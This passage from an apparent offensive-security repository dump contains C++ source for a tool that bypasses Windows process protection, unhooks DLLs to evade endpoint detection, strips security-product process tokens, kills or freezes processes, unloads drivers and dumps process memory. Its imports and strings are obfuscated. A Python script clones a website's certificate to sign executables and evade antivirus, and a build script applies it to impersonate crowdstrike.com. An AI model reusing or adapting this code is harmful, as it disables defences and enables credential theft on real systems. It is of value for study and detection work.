DACL_SECURITY_INFORMATION, &sd))\n    {\n        LOGLASTERROR(L\"SetKernelObjectSecurity\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"SetKernelObjectSecurity OK\\n\");\n\n    //\n    // At this point we can close the object handle because only the WRITE_DAC right is associated\n    // to it. This handle will not allow us to delete the object.\n    //\n    status = LI_FN(NtClose)(hLink);\n    SetLastError(LI_FN(RtlNtStatusToDosError)(status));\n    if (status != 0)\n    {\n        LOGLASTERROR(L\"NtClose\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"NtClose OK\\n\");\n\n    //\n    // This time, we should be able to open the link object with DELETE access.\n    //\n    status = LI_FN(NtOpenSymbolicLinkObject)(&hLink, DELETE, &oa);\n    SetLastError(LI_FN(RtlNtStatusToDosError)(status));\n    if (status != 0)\n    {\n        LOGLASTERROR(L\"NtOpenSymbolicLinkObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"NtOpenSymbolicLinkObject('%ws', DELETE) OK\\n\", pwszLinkPath);\n\n    //\n    // Now, we can invoke NtMakeTemporaryObject to disable the \"Permanent\" flag of the object. When\n    // an object does not have the \"Permanent\" flag enabled, it is automatically deleted when all \n    // its handles are closed.\n    //\n    status = NtMakeTemporaryObject(hLink);\n    SetLastError(LI_FN(RtlNtStatusToDosError)(status));\n    if (status != 0)\n    {\n        LOGLASTERROR(L\"NtMakeTemporaryObject\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"NtMakeTemporaryObject OK\\n\");\n\n    bReturnValue = status == STATUS_SUCCESS;\n\n    //\n    // We should be the only process to have an opened handle on this object. So, if we close it, \n    // the link should be automatically deleted.\n    //\n\nend:\n    if (hLink)\n        LI_FN(NtClose)(hLink);\n    if (pwszLinkPath)\n        LocalFree(pwszLinkPath);\n\n    return bReturnValue;\n}\n\nBOOL ParseCommandLine()\n{\n    LPWSTR pwszCommandLine = GetCommandLineW();\n    LPWSTR* argv = NULL;\n    int argc = 0;\n    int i = 0;\n\n    argv = CommandLineToArgvW(pwszCommandLine, &argc);\n    if (!argv)\n        return FALSE;\n\n    if (argc < 6)\n        return FALSE;\n\n    g_dwParentPid = wcstoul(argv[1], NULL, 10);\n    g_dwProcessId = wcstoul(argv[2], NULL, 10);\n    g_intExecutionMode = wcstoul(argv[3], NULL, 10);\n    g_pwszDumpFilePath = argv[4];\n    g_pwszGuid = argv[5];\n\n    if (argc == 7)\n    {\n        if (_wcsicmp(argv[6], skCrypt(L\"-d\")) == 0)\n        {\n            g_bDebug = TRUE;\n        }\n    }\n\n    return TRUE;\n}\n\nbool UnhookDll(_In_ LPCWSTR lpszDllName)\n{\n    MODULEINFO mi = { 0 };\n    DWORD oldProtection = 0;\n    LPVOID dllBase = nullptr;\n    wil::unique_handle dllFile;\n    wil::unique_handle dllMapping;\n    wil::unique_hmodule dllModule;\n    LPVOID dllMappingAddress = nullptr;\n    PIMAGE_DOS_HEADER hookedDosHeader = nullptr;\n    PIMAGE_NT_HEADERS hookedNtHeader = nullptr;\n    PIMAGE_SECTION_HEADER hookedSectionHeader = nullptr;\n    bool isProtected = false;\n    wchar_t lpszDllPath[MAX_PATH + 1] = { 0 };\n\n    dllModule.reset(LI_FN(GetModuleHandleW)(lpszDllName));\n    if (!dllModule)\n    {\n        LOGLASTERROR(L\"UnhookDll\");\n        return false;\n    }\n\n    if (!LI_FN(GetModuleFileNameW)(dllModule.get(), lpszDllPath, MAX_PATH))\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    if (!LI_FN(K32GetModuleInformation)(LI_FN(GetCurrentProcess)(), dllModule.get(), &mi, (DWORD)sizeof(mi)))\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    dllBase = (LPVOID)mi.lpBaseOfDll;\n    if (!dllBase)\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    dllFile.reset(CreateFileW(lpszDllPath, GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr));\n    if (!dllFile.is_valid())\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    dllMapping.reset(LI_FN(CreateFileMappingW)(dllFile.get(), nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr));\n    if (!dllMapping.is_valid())\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    dllMappingAddress = LI_FN(MapViewOfFile)(dllMapping.get(), FILE_MAP_READ, 0, 0, 0);\n    if (!dllMappingAddress)\n    {\n        LOGLASTERROR(L\"UnhookDll - \");\n        return false;\n    }\n\n    hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;\n    hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);\n\n    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {\n        hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));\n\n        if (strcmp((char*)hookedSectionHeader->Name, skCrypt(\".text\")) == 0) {\n            isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);\n            memcpy((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);\n            isProtected = LI_FN(VirtualProtect)((LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);\n            DEBUGLOG(L\"[+] Dll successfully unhooked!\\n\");\n        }\n    }\n\n    return true;\n}\n\nBOOL SetPrivilege(HANDLE token, std::wstring privilege, bool enabled)\n{\n    TOKEN_PRIVILEGES tp{};\n    LUID luid;\n\n    auto result = LookupPrivilegeValueW(NULL, privilege.c_str(), &luid);\n\n    if (!result)\n    {\n        DEBUGLOG(L\"[-] Privilege not held\\n\");\n        return false;\n    }\n\n    tp.PrivilegeCount = 1;\n    tp.Privileges[0].Luid = luid;\n    if (enabled)\n        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n    else\n        tp.Privileges[0].Attributes = 0;\n\n    result = AdjustTokenPrivileges(token, false, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL);\n    if (!result)\n    {\n        if (enabled) DEBUGLOG(L\"[-] Couldn't enable the privilege in the token\\n\");\n        else DEBUGLOG(L\"[-] Couldn't disable the privilege in the token\\n\");\n        return false;\n    }\n    else\n    {\n        if (enabled) DEBUGLOG(L\"[+] Successfully enabled the privilege in the token\\n\");\n        else DEBUGLOG(L\"[+] Successfully disabled the privilege in the token\\n\");\n        return true;\n    }\n}\n\nBOOL SetIntegrity(HANDLE hToken, std::wstring integrityLevel)\n{\n    TOKEN_MANDATORY_LABEL tml = { 0 };\n    tml.Label.Attributes = SE_GROUP_INTEGRITY;\n    PSID sid = nullptr;\n\n    auto success = ConvertStringSidToSidW(integrityLevel.c_str(), &sid);\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Couldn't convert provided SID to SID structure\\n\");\n    }\n    tml.Label.Sid = sid;\n\n    if (!SetTokenInformation(hToken, TokenIntegrityLevel, &tml, sizeof(tml)))\n    {\n        DEBUGLOG(L\"[-] Couldn't set token information\\n\");\n        return false;\n    }\n    else return true;\n}\n\nBOOL SandboxToken(DWORD dwProcessId)\n{\n    std::vector<const wchar_t*> privs\n    {\n        skCrypt(L\"SeAssignPrimaryTokenPrivilege\"),\n        skCrypt(L\"SeBackupPrivilege\"),\n        skCrypt(L\"SeDebugPrivilege\"),\n        skCrypt(L\"SeChangeNotifyPrivilege\"),\n        skCrypt(L\"SeImpersonatePrivilege\"),\n        skCrypt(L\"SeIncreaseBasePriorityPrivilege\"),\n        skCrypt(L\"SeIncreaseQuotaPrivilege\"),\n        skCrypt(L\"SeLoadDriverPrivilege\"),\n        skCrypt(L\"SeRestorePrivilege\"),\n        skCrypt(L\"SeSecurityPrivilege\"),\n        skCrypt(L\"SeShutdownPrivilege\"),\n        skCrypt(L\"SeSystemEnvironmentPrivilege\"),\n        skCrypt(L\"SeTakeOwnershipPrivilege\"),\n        skCrypt(L\"SeTcbPrivilege\")\n    };\n\n    wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_QUERY_LIMITED_INFORMATION, false, dwProcessId));\n    if (!hProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to get a PROCESS_QUERY_LIMITED_INFORMATION handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n\n    wil::unique_handle hToken;\n    if (!OpenProcessToken(hProcess.get(), TOKEN_ALL_ACCESS, &hToken))\n    {\n        DEBUGLOG(L\"[-] Failed to obtain a handle to the process' token, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully obtained a handle to the token of the process\\n\");\n\n    for (auto priv : privs)\n    {\n        SetPrivilege(hToken.get(), priv, false);\n    }\n\n    if (!SetIntegrity(hToken.get(), L\"S-1-16-0\"))\n    {\n        DEBUGLOG(L\"[-] Failed to downgrade the integrity of the token...\\n\");\n        return false;\n    }\n\n    return true;\n}\n\nBOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath)\n{\n    BOOL bReturnValue = FALSE;\n\n    BOOL bFileCreated = FALSE;\n    HANDLE hFile = NULL;\n    HANDLE hProcess = NULL;\n    DWORD dwLastError = 0;\n\n    hFile = LI_FN(CreateFileW)(pwszDumpFilePath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);\n    if (hFile == INVALID_HANDLE_VALUE)\n    {\n        LOGLASTERROR(L\"CreateFile\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"CreateFile('%ws') OK\\n\", pwszDumpFilePath);\n\n    bFileCreated = TRUE;\n\n    //\n    // The process handle used by MiniDumpWriteDump requires only the flags PROCESS_VM_READ and\n    // PROCESS_QUERY_INFORMATION.\n    //\n    if (!(hProcess = LI_FN(OpenProcess)(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessId)))\n    {\n        LOGLASTERROR(L\"OpenProcess\");\n        goto end;\n    }\n\n    if (g_bDebug)\n        LOGTOCONSOLE(L\"OpenProcess(%d) OK\\n\", dwProcessId);\n\n    if (!(bReturnValue = MiniDumpWriteDump(hProcess, dwProcessId, hFile, MiniDumpWithFullMemory, nullptr, nullptr, nullptr)))\n    {\n        //\n        // MiniDumpWriteDump sets the Last Error as a HRESULT, not a standard Win32 code... :/\n        //\n        dwLastError = LI_FN(GetLastError)();\n        LOGTOCONSOLE(L\"[-] MiniDumpWriteDump failed with error code 0x%08x (%ws)\\n\", dwLastError, _com_error(dwLastError).ErrorMessage());\n        goto end;\n    }\n\n    bReturnValue = TRUE;\n\nend:\n    if (hFile && hFile != INVALID_HANDLE_VALUE)\n        CloseHandle(hFile);\n    if (hProcess)\n        CloseHandle(hProcess);\n    if (!bReturnValue && bFileCreated)\n        DeleteFile(pwszDumpFilePath); // If the dump failed, delete the file\n\n    return bReturnValue;\n}\n\nBOOL KillProcess(DWORD dwProcessId)\n{\n    wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_TERMINATE, false, dwProcessId));\n    if (!hProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to get a PROCESS_TERMINATE handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n\n    if (!LI_FN(TerminateProcess)(hProcess.get(), 0))\n    {\n        LOGTOCONSOLE(L\"[-] Failed to call TerminateProcess on the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully called TerminateProcess on the process\\n\");\n    return true;\n}\n\nBOOL SuspendProcess(DWORD dwProcessId)\n{\n    NTSTATUS status = 0;\n    pNtSuspendProcess NtSuspendProcess = nullptr;\n\n    wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_SUSPEND_RESUME, false, dwProcessId));\n    if (!hProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to get a PROCESS_SUSPEND_RESUME handle to the process exiting...\\n\");\n        return false;\n    }\n\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n\n    status = pNtSuspendProcess(LI_FN(NtSuspendProcess).nt())(hProcess.get());\n    if (status != STATUS_SUCCESS)\n    {\n        DEBUGLOG(L\"[-] Failed to suspend the process, exiting...\\n\");\n        return false;\n    }\n\n    else DEBUGLOG(L\"[+] Successfully suspended the process\\n\");\n    \n    //Sleep(5000);\n    //bReturnValue = ResumeProcess(dwProcessId);\n    return true;\n}\n\nBOOL ResumeProcess(DWORD dwProcessId)\n{\n    NTSTATUS status = 0;\n    pNtResumeProcess NtResumeProcess = nullptr;\n\n    wil::unique_handle hProcess(LI_FN(OpenProcess)(PROCESS_SUSPEND_RESUME, false, dwProcessId));\n    if(!hProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to get a PROCESS_SUSPEND_RESUME handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n\n    status = pNtResumeProcess(LI_FN(NtResumeProcess).nt())(hProcess.get());\n    if (status != STATUS_SUCCESS)\n    {\n        DEBUGLOG(L\"[-] Failed to resume the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n    \n    return true;\n}\n\nBOOL JobKillProcess(DWORD dwProcessId)\n{\n    wil::unique_handle jobObject(LI_FN(CreateJobObjectW)(nullptr, nullptr));\n    wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_SET_QUOTA | PROCESS_TERMINATE, false, dwProcessId));\n\n    if (!jobObject || !targetProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to create job object or open handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process and the job object we will use to kill it with\\n\");\n\n    auto success = AssignProcessToJobObject(jobObject.get(), targetProcess.get());\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Failed to assign the process to the job object, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully assigned the process to the job object we will use to kill it with\\n\");\n\n    success = LI_FN(TerminateJobObject)(jobObject.get(), 1337);\n    if(!success) DEBUGLOG(L\"[-] Failed to kill job object...\\n\");\n    else DEBUGLOG(L\"[+] Successfully killed the job object!\\n\");\n    return success;\n}\n\nBOOL JobSuppressProcess(DWORD dwProcessId)\n{\n    wil::unique_handle jobObject(LI_FN(CreateJobObjectW)(nullptr, nullptr));\n    wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_SET_QUOTA | PROCESS_TERMINATE, false, dwProcessId));\n    if (!jobObject || !targetProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to create job object or open handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process and the job object we will use to suppress it with\\n\");\n\n    JOBOBJECT_CPU_RATE_CONTROL_INFORMATION cpuRateInfo;\n    cpuRateInfo.ControlFlags = JOB_OBJECT_CPU_RATE_CONTROL_ENABLE | JOB_OBJECT_CPU_RATE_CONTROL_HARD_CAP;\n    cpuRateInfo.CpuRate = 1;\n    auto success = LI_FN(SetInformationJobObject)(jobObject.get(), JobObjectCpuRateControlInformation, &cpuRateInfo, (DWORD)sizeof(JOBOBJECT_CPU_RATE_CONTROL_INFORMATION));\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Failed to set job object's control information, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully set job object's control information\\n\");\n\n    success = LI_FN(AssignProcessToJobObject)(jobObject.get(), targetProcess.get());\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Failed to assign the process to the job object, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully assigned the process to the job object, the process should now be frozen!\\n\");\n    return success;\n}\n\nBOOL SuicideProcess(DWORD dwProcessId)\n{\n    wil::unique_handle targetProcess(LI_FN(OpenProcess)(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, dwProcessId));\n    if (!targetProcess)\n    {\n        DEBUGLOG(L\"[-] Failed to open a handle to the process, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully got a handle to the process\\n\");\n\n    auto exitCode = 0;\n    wil::unique_handle threadHandle(LI_FN(CreateRemoteThread)(targetProcess.get(), nullptr, NULL, (LPTHREAD_START_ROUTINE)exit, &exitCode, NULL, nullptr));\n    if (!threadHandle)\n    {\n        DEBUGLOG(L\"[-] Failed to spawn remote exit(0) thread, exiting...\\n\");\n        return false;\n    }\n    else DEBUGLOG(L\"[+] Successfully spawned remote exit(0) thread\\n\");\n    \n    auto waitStatusThread = LI_FN(WaitForSingleObject)(threadHandle.get(), 5000);\n    if (waitStatusThread != WAIT_FAILED)\n    {\n        DEBUGLOG(L\"[+] Process successfully committed harakiri!\\n\");\n        return true;\n    }\n    else DEBUGLOG(L\"[-] Process failed to commit harakiri...\\n\");\n    return false;\n}\n\nBOOL DriverUnload(std::wstring driverName)\n{\n    wil::unique_handle processToken;\n    auto success = OpenProcessToken(LI_FN(GetCurrentProcess)(), TOKEN_ALL_ACCESS, &processToken);\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Failed to open current thread token, exiting...\\n\");\n        return false;\n    }\n\n    success = SetPrivilege(processToken.get(), L\"SeLoadDriverPrivilege\", true);\n    if (!success)\n    {\n        DEBUGLOG(L\"[-] Failed to enable SeLoadDriverPrivilege, exiting...\\n\");\n        return false;\n    }\n\n    std::wstring driverPath = L\"\\\\Registry\\\\Machine\\\\System\\\\CurrentControlSet\\\\Services\\\\\" + driverName;\n    UNICODE_STRING wdfilterDrivServ;\n    LI_FN(RtlInitUnicodeString)(&wdfilterDrivServ, driverPath.c_str());\n    auto status = NtUnloadDriver(&wdfilterDrivServ);\n    if (status == STATUS_SUCCESS) DEBUGLOG(L\"[+] Successfully unloaded driver!\\n\");\n    else\n    {\n        DEBUGLOG(L\"[-] Failed to unload the driver...\\n\");\n        DEBUGLOG(driverPath.c_str());\n        return false;\n    }\n    return true;\n}"
  },
  {
    "path": "RIPPLDLL/dllexploit.h",
    "content": "#pragma once\n#pragma warning(disable: 6387)\n\n#include \"..\\RIPPL\\common.hpp\"\n\n#include <shlwapi.h>\n#include <shellapi.h>\n#include <DbgHelp.h>\n\n#pragma comment(lib, \"Shlwapi.lib\")\n#pragma comment(lib, \"Advapi32.lib\")\n#pragma comment(lib, \"Shell32.lib\")\n#pragma comment(lib, \"Dbghelp.lib\")\n\n#ifndef OPSEC\n#define LOGTOCONSOLE(...) LogToConsole(__VA_ARGS__)\n#define LOGLASTERROR(str) LogLastError(str)\n#define DEBUGLOG(str) OutputDebugStringW(str)\n#else\n#define LOGTOCONSOLE(...)\n#define LOGLASTERROR(str) \n#define DEBUGLOG(str)\n#endif\n\nextern HMODULE g_hInstance;\nextern HANDLE g_hConsoleOutput;\nextern DWORD g_dwProcessId;\nextern DWORD g_dwParentPid;\nextern LPWSTR g_pwszDumpFilePath;\nextern LPWSTR g_pwszGuid;\nextern BOOL g_bDebug;\nextern int g_intExecutionMode;\n\ntypedef NTSTATUS(NTAPI* pNtSuspendProcess)(_In_  HANDLE hProcess);\ntypedef NTSTATUS(NTAPI* pNtResumeProcess)(_In_  HANDLE hProcess);\n\nvoid DoStuff();\nvoid LogToConsole(LPCWSTR pwszFormat, ...);\nvoid LogLastError(LPCWSTR pwszFunctionName);\nBOOL GetCurrentDllFileName(LPWSTR* ppwszDllName);\nBOOL DeleteKnownDllEntry(LPCWSTR pwszDllName);\nBOOL ParseCommandLine();\nBOOL DumpProcessMemory(DWORD dwProcessId, LPWSTR pwszDumpFilePath);\nBOOL KillProcess(DWORD dwProcessId);\nBOOL ResumeProcess(DWORD dwProcessId);\nBOOL SuspendProcess(DWORD dwProcessId);\nBOOL JobKillProcess(DWORD dwProcessId);\nBOOL JobSuppressProcess(DWORD dwProcessId);\nBOOL SuicideProcess(DWORD dwProcessId);\nbool UnhookDll(_In_ LPCWSTR lpszDllName);\nBOOL SetPrivilege(HANDLE token, std::wstring privilege, bool enabled);\nBOOL SetIntegrity(HANDLE hToken, std::wstring integrityLevel);\nBOOL SandboxToken(DWORD dwProcessId);\nBOOL DriverUnload(std::wstring driverName);"
  },
  {
    "path": "RIPPLDLL/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.Windows.ImplementationLibrary\" version=\"1.0.220201.1\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "carboncopy.py",
    "content": "#!/usr/bin/python3\n\n##Author : Paranoid Ninja\n##Email  : paranoidninja@protonmail.com\n##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus\n\n\nfrom OpenSSL import crypto\nfrom sys import argv, platform\nfrom pathlib import Path\nimport shutil\nimport ssl\nimport os\nimport subprocess\n\nTIMESTAMP_URL = \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\"\n\ndef CarbonCopy(host, port, signee, signed):\n\n    try:\n        #Fetching Details\n        print(\"[+] Loading public key of %s in Memory...\" % host)\n        ogcert = ssl.get_server_certificate((host, int(port)))\n        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)\n\n        certDir = Path('certs')\n        certDir.mkdir(exist_ok=True)\n\n        #Creating Fake Certificate\n        CNCRT   = certDir / (host + \".crt\")\n        CNKEY   = certDir / (host + \".key\")\n        PFXFILE = certDir / (host + \".pfx\")\n\n        #Creating Keygen\n        k = crypto.PKey()\n        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))\n        cert = crypto.X509()\n\n        #Setting Cert details from loaded from the original Certificate\n        print(\"[+] Cloning Certificate Version\")\n        cert.set_version(x509.get_version())\n        print(\"[+] Cloning Certificate Serial Number\")\n        cert.set_serial_number(x509.get_serial_number())\n        print(\"[+] Cloning Certificate Subject\")\n        cert.set_subject(x509.get_subject())\n        print(\"[+] Cloning Certificate Issuer\")\n        cert.set_issuer(x509.get_issuer())\n        print(\"[+] Cloning Certificate Registration & Expiration Dates\")\n        cert.set_notBefore(x509.get_notBefore())\n        cert.set_notAfter(x509.get_notAfter())\n        cert.set_pubkey(k)\n        print(\"[+] Signing Keys\")\n        cert.sign(k, 'sha256')\n\n        print(\"[+] Creating %s and %s\" %(CNCRT, CNKEY))\n        CNCRT.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert))\n        CNKEY.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k))\n        print(\"[+] Clone process completed. Creating PFX file for signing executable...\")\n\n        try:\n            pfx = crypto.PKCS12()\n        except AttributeError:\n            pfx = crypto.PKCS12Type()\n        pfx.set_privatekey(k)\n        pfx.set_certificate(cert)\n        pfxdata = pfx.export()\n\n        PFXFILE.write_bytes(pfxdata)\n        PFXFILE = str(PFXFILE)\n\n        if platform == \"win32\":\n            print(\"[+] Platform is Windows OS...\")\n            print(\"[+] Signing %s with signtool.exe...\" %(signed))\n            shutil.copy(signee, signed)\n            subprocess.check_call([\"signtool.exe\", \"sign\", \"/v\", \"/f\", PFXFILE,\n                \"/d\", \"MozDef Corp\", \"/tr\", TIMESTAMP_URL,\n                \"/td\", \"SHA256\", \"/fd\", \"SHA256\", signed])\n\n        else:\n            print(\"[+] Platform is Linux OS...\")\n            print(\"[+] Signing %s with %s using osslsigncode...\" %(signee, PFXFILE))\n            args = (\"osslsigncode\", \"sign\", \"-pkcs12\", PFXFILE,\n                    \"-n\", \"Notepad Benchmark Util\", \"-i\", TIMESTAMP_URL,\n                    \"-in\", signee, \"-out\", signed)\n            print(\"[+] \", end='', flush=True)\n            subprocess.check_call(args)\n\n    except Exception as ex:\n        print(\"[X] Something Went Wrong!\\n[X] Exception: \" + str(ex))\n\ndef main():\n    print(\"[*] Starting the code signing process...\")\n    if len(argv) != 5:\n        print(\"[+] Descr: Impersonates the Certificate of a website\\n[!] Usage: \" + argv[0] + \" <hostname> <port> <build-executable> <signed-executable>\\n\")\n    else:\n        CarbonCopy(argv[1], argv[2], argv[3], argv[4])\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "postbuild.bat",
    "content": "cd %0\\..\\\npython3.exe .\\restore_headers.py\npython3.exe .\\carboncopy.py www.crowdstrike.com 443 .\\x64\\Release\\RIPPL_unsigned.exe .\\x64\\Release\\RIPPL.exe\ndel .\\x64\\Release\\RIPPL_unsigned.exe\ndel .\\x64\\Release\\RIPPLDLL_unencrypted.dll\ndel .\\x64\\Release\\RIPPLDLL.dll\necho [+] Successfully run postbuild.bat"
  },
  {
    "path": "restore_headers.py",
    "content": "import os\nimport sys\n\n# Read in the file\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\RIPPL\\\\utils.h'\n    with open(file_path, 'r') as file :\n      filedata = file.readlines()\nexcept:\n    print(\"[-] Failed to read the header to modify...\")\n    sys.exit(-1)\n\n# Replace the target string\nnewdata = \"\"\nfor line in filedata:\n    if \"#define SHCODE\" in line:\n        line = \"#define SHCODE {0}\\n\"\n    elif \"#define AESKEY\" in line:\n        line = \"#define AESKEY {0}\\n\"\n    elif \"#define IV\" in line:\n        line = \"#define IV {0}\\n\"\n    newdata += line\n\n# Write the file out again\ntry:\n    file_path = os.path.dirname(sys.argv[0]) + '\\\\RIPPL\\\\utils.h'\n    with open(file_path, 'w') as file :\n      file.write(newdata)\nexcept:\n    print(\"[-] Failed to write to the header...\")\n    sys.exit(-1)\n\nprint(\"[+] Headers restored!\")"
  }
]